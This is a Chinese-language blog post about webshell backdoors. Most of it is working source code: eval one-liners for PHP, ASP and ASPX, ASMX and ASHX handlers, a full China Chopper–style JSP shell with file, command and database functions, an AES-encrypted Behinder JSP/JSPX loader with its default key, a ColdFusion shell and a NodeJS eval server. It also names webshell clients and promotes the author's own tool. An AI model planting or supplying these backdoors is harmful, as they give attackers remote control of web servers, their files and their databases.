【Tech】一句話木馬

First Post:

2023-06-06

Last Update:

2026-02-23

Word Count:

3.7k

Read Time:

21 min

甚麼是WebShell

WebShell是在滲透測試和入侵時都會用到的工具，是一種後門，
需要注意的時WebShell和網頁木馬不一樣，網頁木馬是掛在正常網頁上的木馬程式，
當使用者瀏覽網頁時就會下載或執行木馬。
WebShell是用來控制一整個網頁伺服器的工具。
WebShell有以下三種 :

大馬 : 檔案大，30~70KB以上，加密後會超過100KB。
小馬 : 檔案小，一般在10KB以下
- 指令執行木馬 : 只能簡單地執行的Shell Command.
- 一句話木馬 : 功能可超越大馬，容易隱藏和改造。

一句話木馬

在現今的入侵和滲透用的webshell基本上用的都是一句話木馬，
大馬的好處是所有執行的Payload都是在localhost上進行，
不使用HTTP POST，可以不考慮WAF，
但因為檔案太大很容易會被發現，而且不容易寫變種。
一句話木馬雖然會因為使用HTTP POST會被WAF檢查，
但是很容易寫變種和隱藏，還可以直接寫在正常的檔案內。

一句話木馬客戶端

指的是先把對應語言的Payload寫好，再用客戶端發起 POST Request，這樣就會非常方便
在大陸以前比較有名的工具叫中國菜刀，大陸現在比較常用的工具有三個 :

蟻劍
Godzilla
冰蝎

這邊推一下我自己寫的Alien
https://malbuffer4pt.github.io/Alien

一句話木馬的程式

在伺服器沒有裝WAF，Anti-Virus時，只需要用這不到 1KB的程式就可以控制一整台伺服器
如下圖 (工具: Alien)

以php為例，PHP一句話木馬為

1	`<?php @eval($_POST['pass']); ?>`

$_POST[‘pass’] : 取得HTTP POST參數為pass的Data
@eval($str); : 把 $str 以PHP Code執行 , @ 代表如果 $str == null時就不顯示結果(這樣就增加了隱密性。)
所以 @eval($_POST[‘pass’]); 就可以把HTTP POST的內容執行, 如 :

1	`pass=phpinfo();`

就可執行phphinfo();

ASP :

1	`<% execute(request("pass")) %>`

ASPX :

1 2	`<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"])%>`

關於ASMX, ASHX, CFM, JSP, JSPX和NodeJS木馬

它們的特點都是沒有「好用」(對攻撃者而言)的eval()函數，或者使用上會比較麻煩…
ASMX和ASHX是我在Freebuf上找到的，作者是Ivan，
這也有寫進Alien內。
而CFM是一個很老的東西了…

ASMX

<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{      
    WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
    {
            var I = HttpContext.Current;
        var Request = I.Request;
        var Response = I.Response;
        var Server = I.Server;
    Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
        eval(Ivan);
    }
}

ASHX

<%@ WebHandler Language="JScript"class=" HandlerSpy "%>
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
   function IHttpHandler.ProcessRequest(context : HttpContext){
           context.Response.Write("<H1>Just for fun, Do not abuse it!Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1> ");
           eval(context.Request["Ivan"]);
        }
    function get IHttpHandler.IsReusable() : Boolean{
            return false;
       }
}

JSP

JSP目前主要有兩種，菜刀形和冰蝎形
菜刀形 :

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd="sky";
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
%><%
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
%>

菜刀形就是把所有功能全部寫進一個JSP檔，然後在HTTP POST的時候就會以
A, B, C, …, M 執行不同Payload，然面再接上一些參數。

下面是冰蝎 :

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%
if (request.getMethod().equals("POST")) {
  String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
  session.putValue("u",k);
  Cipher c=Cipher.getInstance("AES");
  c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
  new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
  %>

冰蝎使用的是ClassLoader()，這樣就相當於是一個Eval函數了。

JSPX

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

CFM

<CFSET O="" /><CFTRY><CFSWITCH EXPRESSION=#Form.chopper#><CFCASE VALUE="A"><CFSCRIPT>O=O&Expandpath("./")&Chr(9);
for(c=65;c lt 91;c=c+1){if(DirectoryExists(Chr(c)&":\"))O=O&Chr(c)&":";}</CFSCRIPT></CFCASE><CFCASE VALUE="B">
<CFDIRECTORY DIRECTORY="#Form.z1#" NAME="D" SORT="Type"><CFLOOP Query="D"><CFSCRIPT>O=O&D.Name;If(D.Type eq "Dir")O=O&"/";
O=O&Chr(9)&DateFormat(D.DateLastModified,"yyyy-mm-dd")&TimeFormat(D.DateLastModified," HH:MM:ss")&Chr(9)&D.Size&Chr(9);
If(Left(Form.z1,1) eq "/"){O=O&D.Mode;}else{O=O&D.Attributes;}O=O&Chr(10);</CFSCRIPT></CFLOOP></CFCASE><CFCASE VALUE="C">
<CFFILE ACTION="Read" FILE="#Form.z1#" VARIABLE="O"></CFCASE><CFCASE VALUE="D"><CFFILE ACTION="Write" FILE="#Form.z1#" OUTPUT="#Form.z2#">
<CFSET O="1" /></CFCASE><CFCASE VALUE="E"><CFSCRIPT>Function DF(P){F=CreateObject("java","java.io.File").init(P);L=0;i=0;
if(F.isDirectory()){L=F.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(not L[i].delete()){DF(L[i].getPath());}}}F.delete();}
DF(Form.z1);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="F"><cffile action="readbinary" file="#Form.z1#" variable="B" />
<cfset J=CreateObject("java","java.nio.ByteBuffer") /><cfset X=J.Allocate(JavaCast( "int", ArrayLen(B)+6)) />
<cfset X.Put(ToBinary(ToBase64("->"&"|")), JavaCast("int",0), 3 ) /><cfset X.Put(B, JavaCast("int",0), JavaCast("int",ArrayLen(B)) ) />
<cfset X.Put(ToBinary(ToBase64("|"&"<-")), JavaCast("int",0), 3 ) /><CFCONTENT Type="application/octet-stream" Variable="#X.Array()#">
<CFABORT></CFCASE><CFCASE VALUE="G"><CFSCRIPT>F=CreateObject("java","java.io.FileOutputStream");F.init(Form.z1);
h="0123456789ABCDEF";C=Form.z2;for(i=0;i lt Len(C);i=i+2){F.write(BitOr(BitSHLN(h.indexOf(C.charAt(i)),4),h.indexOf(C.charAt(i+1))));}
F.close();O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="H"><CFFUNCTION Name="cpf"><CFARGUMENT Name="S"><CFARGUMENT Name="D">
<CFFILE ACTION="Copy" SOURCE="#S#" DESTINATION="#D#"></CFFUNCTION><CFSCRIPT>Function CP(S,D){sf=CreateObject("java","java.io.File").init(S);
df=CreateObject("java","java.io.File").init(D);L=0;i=0;if(sf.isDirectory()){if(not df.exists()){df.mkdir();}L=sf.listFiles();
for(i=1;i lte ArrayLen(L);i=i+1){if(L[i].isDirectory()){CP(L[i].getPath(),df.getPath()&"/"&L[i].getName());}else{
cpf(L[i].getPath(),df.getPath()&"/"&L[i].getName());}}}else{cpf(S,D);}}CP(Form.z1,Form.z2);O="1";</CFSCRIPT></CFCASE>
<CFCASE VALUE="I"><CFFILE ACTION="MOVE" SOURCE="#Form.z1#" DESTINATION="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="J">
<CFDIRECTORY Directory="#Form.z1#" Action="Create"><CFSET O="1" /></CFCASE><CFCASE VALUE="K"><CFSCRIPT>
FileSetLastModified(Form.z1,ParseDateTime(Form.z2));O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="L"><CFSCRIPT>Z=Form.z2;
For(i=Len(Z);i gt 0;i=i-1){if(Mid(Z,i,1) eq "/" Or Mid(Z,i,1) eq "\"){Break;}}P=Left(Z,i);F=Mid(Z,i+1,256);</CFSCRIPT>
<CFHTTP METHOD="Get" URL="#Form.z1#" PATH="#P#" FILE="#F#"><CFSET O="1" /></CFCASE><CFCASE VALUE="M">
<CFEXECUTE Name="#Mid(Form.z1,3,Len(Form.z1)-2)#" Arguments="#Mid(Form.z1,1,2)# #Form.z2#" Variable="O" TimeOut="60" />
</CFCASE></CFSWITCH><CFCATCH Type="Any"><CFSET O="ERROR:// "&CFCatch.Message /></CFCATCH>
</CFTRY><CFOUTPUT>->#Chr(124)&O&Chr(124)#<-</CFOUTPUT>

菜刀形，跟上面的JSP一樣。

NodeJS

var http = require('http'),
	url = require('url'),
    exec = require('child_process').exec;
var querystring = require('querystring');

var host = "127.0.0.1",
    port = "5555",
    thisServerUrl = "http://" + host + ":" + port;

http.createServer(function (req, res) {
  req.addListener('end', function () {

  });
  //var parsedUrl = url.parse(req.url, true);
  //var cmd = parsedUrl.query['cmd'];
  var string = '';
        req.addListener('data', function(chunk){
            string += chunk;
        });
	var cmd;
	req.addListener('end', function(){
      var strObj = querystring.parse(string);
		  cmd = strObj.pass;
		  res.writeHead(200, {'Content-Type': 'text/plain'});
      if (cmd) {
        try {eval(cmd);} catch(e) {console.log("ERROR://" + e);res.end("ERROR://");}
      } else {
		  res.end();
	  }
  });
}).listen(port, host);
console.log('Server running at ' + thisServerUrl );

NodeJS的木馬在滲透測試中不見得能用上，
因為使用條件跟php, asp, aspx這些比較過於苛刻。

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